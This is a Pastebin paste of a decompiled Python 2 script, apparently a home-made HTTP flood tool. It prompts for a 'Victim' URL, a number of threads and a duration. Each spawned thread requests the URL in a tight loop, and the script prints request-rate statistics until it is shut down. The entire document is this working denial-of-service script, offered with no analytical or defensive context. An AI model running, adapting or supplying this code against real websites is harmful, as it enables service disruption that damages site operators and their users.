Advertisement
Guest User

Untitled

a guest
Feb 13th, 2016
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. # Embedded file name: C:\Users\Ludde\Desktop\a.py
  2. import urllib, os, threading, time, sys
  3. print '#######################'
  4. print '## fakk lyu ##'
  5. print '## >>Lüdde<< ##'
  6. print '#######################'
  7. if os.name in ('nt', 'dos', 'ce'):
  8. os.system('title ........::::: Version 1.0 :::::........')
  9. os.system('color a')
  10. Close = False
  11. Lock = threading.Lock()
  12. Request = 0
  13. Tot_req = 0
  14.  
  15. class Spammer(threading.Thread):
  16.  
  17. def __init__(self, url, number):
  18. threading.Thread.__init__(self)
  19. self.url = url
  20. self.num = number
  21.  
  22. def run(self):
  23. global Lock
  24. global Tot_req
  25. global Close
  26. global Request
  27. Lock.acquire()
  28. print 'Starting thread #{0}'.format(self.num)
  29. Lock.release()
  30. while Close == False:
  31. try:
  32. urllib.urlopen(self.url)
  33. Request += 1
  34. Tot_req += 1
  35. except:
  36. pass
  37.  
  38. Lock.acquire()
  39. print 'Closing thread #{0}'.format(self.num)
  40. Lock.release()
  41. sys.exit(0)
  42.  
  43.  
  44. if __name__ == '__main__':
  45. try:
  46. num_threads = input('> Request: ')
  47. t_tot = input('> Time: ')
  48. except:
  49. t_tot = 2
  50.  
  51. timer = t_tot * 60
  52. t_tot = t_tot * 60
  53. while True:
  54. url = raw_input('> Victim: ')
  55. try:
  56. urllib.urlopen(url)
  57. except IOError:
  58. print 'Could not open specified url.'
  59. else:
  60. break
  61.  
  62. for i in xrange(num_threads):
  63. Spammer(url, i + 1).start()
  64.  
  65. time.sleep(2)
  66. print '#######################################################################'
  67. print '\n> Bot Are Loaded Sucessfully.'
  68. print '\n> TP2k1 is working hard. . .\n'
  69. while timer > 0:
  70. time.sleep(10)
  71. print '> TP2k1 @ ' + str(Request / 10.0) + ' Requests/s\tTotal Request: #' + str(Tot_req) + '\tTime left:', timer, 's'
  72. Request = 0
  73. timer -= 10
  74.  
  75. print '\n> Average @ ' + str(Tot_req / t_tot) + ' Requests/s'
  76. print '\n#######################################################################\n'
  77. raw_input('> TP2k1 is still working, now you can press enter to shutting down threads.')
  78. time.sleep(1)
  79. Close = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement